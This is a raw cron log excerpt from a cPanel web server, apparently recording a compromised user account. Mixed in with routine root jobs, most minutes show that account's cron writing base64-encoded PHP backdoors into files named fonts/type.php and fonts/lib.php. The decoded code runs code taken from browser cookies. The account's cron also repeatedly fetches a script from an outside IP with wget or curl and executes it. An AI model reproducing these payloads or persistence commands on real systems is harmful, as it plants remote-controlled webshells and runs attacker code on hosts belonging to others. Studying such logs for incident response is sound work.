Sep  3 22:30:01 ip-184-168-122-23 CROND[9276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:30:01 ip-184-168-122-23 CROND[9277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:30:01 ip-184-168-122-23 CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:30:01 ip-184-168-122-23 CROND[9274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:30:01 ip-184-168-122-23 CROND[9273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:30:01 ip-184-168-122-23 CROND[9278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:31:01 ip-184-168-122-23 CROND[9372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:31:01 ip-184-168-122-23 CROND[9373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:31:01 ip-184-168-122-23 CROND[9374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:31:01 ip-184-168-122-23 CROND[9376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:31:01 ip-184-168-122-23 CROND[9377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:32:01 ip-184-168-122-23 CROND[9456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:32:01 ip-184-168-122-23 CROND[9458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:32:01 ip-184-168-122-23 CROND[9460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:32:01 ip-184-168-122-23 CROND[9461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:32:01 ip-184-168-122-23 CROND[9459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:33:01 ip-184-168-122-23 CROND[9644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:33:01 ip-184-168-122-23 CROND[9645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:33:01 ip-184-168-122-23 CROND[9646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:33:01 ip-184-168-122-23 CROND[9647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:34:01 ip-184-168-122-23 CROND[9730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:34:01 ip-184-168-122-23 CROND[9732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:34:01 ip-184-168-122-23 CROND[9733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:34:01 ip-184-168-122-23 CROND[9734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:34:01 ip-184-168-122-23 CROND[9735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:35:01 ip-184-168-122-23 CROND[9824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:35:01 ip-184-168-122-23 CROND[9826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:35:01 ip-184-168-122-23 CROND[9829]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 22:35:01 ip-184-168-122-23 CROND[9830]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:35:01 ip-184-168-122-23 CROND[9828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:35:01 ip-184-168-122-23 CROND[9831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:35:01 ip-184-168-122-23 CROND[9838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:35:01 ip-184-168-122-23 CROND[9839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:36:01 ip-184-168-122-23 CROND[9946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:36:01 ip-184-168-122-23 CROND[9948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:36:01 ip-184-168-122-23 CROND[9949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:36:01 ip-184-168-122-23 CROND[9950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:36:01 ip-184-168-122-23 CROND[9951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:37:01 ip-184-168-122-23 CROND[10038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:37:01 ip-184-168-122-23 CROND[10039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:37:01 ip-184-168-122-23 CROND[10042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:37:01 ip-184-168-122-23 CROND[10043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:38:01 ip-184-168-122-23 CROND[10121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:38:01 ip-184-168-122-23 CROND[10122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:38:01 ip-184-168-122-23 CROND[10123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:38:01 ip-184-168-122-23 CROND[10124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:38:01 ip-184-168-122-23 CROND[10126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:39:01 ip-184-168-122-23 CROND[10209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 22:39:01 ip-184-168-122-23 CROND[10212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:39:01 ip-184-168-122-23 CROND[10211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:39:01 ip-184-168-122-23 CROND[10214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:39:01 ip-184-168-122-23 CROND[10213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:40:01 ip-184-168-122-23 CROND[10334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:40:01 ip-184-168-122-23 CROND[10335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:40:01 ip-184-168-122-23 CROND[10339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:40:01 ip-184-168-122-23 CROND[10340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:40:01 ip-184-168-122-23 CROND[10346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:40:01 ip-184-168-122-23 CROND[10345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:40:01 ip-184-168-122-23 CROND[10343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:40:01 ip-184-168-122-23 CROND[10344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:41:01 ip-184-168-122-23 CROND[10454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:41:01 ip-184-168-122-23 CROND[10456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:41:01 ip-184-168-122-23 CROND[10457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:41:01 ip-184-168-122-23 CROND[10458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:42:01 ip-184-168-122-23 CROND[10617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:42:01 ip-184-168-122-23 CROND[10619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:42:01 ip-184-168-122-23 CROND[10620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
